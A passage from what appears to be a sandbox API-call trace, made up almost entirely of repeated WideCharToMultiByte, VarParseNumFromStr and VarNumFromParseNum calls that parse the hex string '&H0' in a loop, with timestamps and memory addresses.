lpUsedDefaultChar=0x0) returned 1 [0062.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.124] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.125] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.125] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.125] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.125] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.125] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.126] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.126] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.126] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.126] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.127] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.127] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.127] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.127] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.128] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.128] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.128] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.128] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.168] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.168] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.168] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.169] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.169] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.169] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.169] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.169] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.170] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.170] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.170] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.170] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.171] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.171] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.171] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.171] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.172] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.172] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.172] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.172] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.173] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.173] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.173] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.173] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.174] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.174] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.174] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.174] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.175] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, 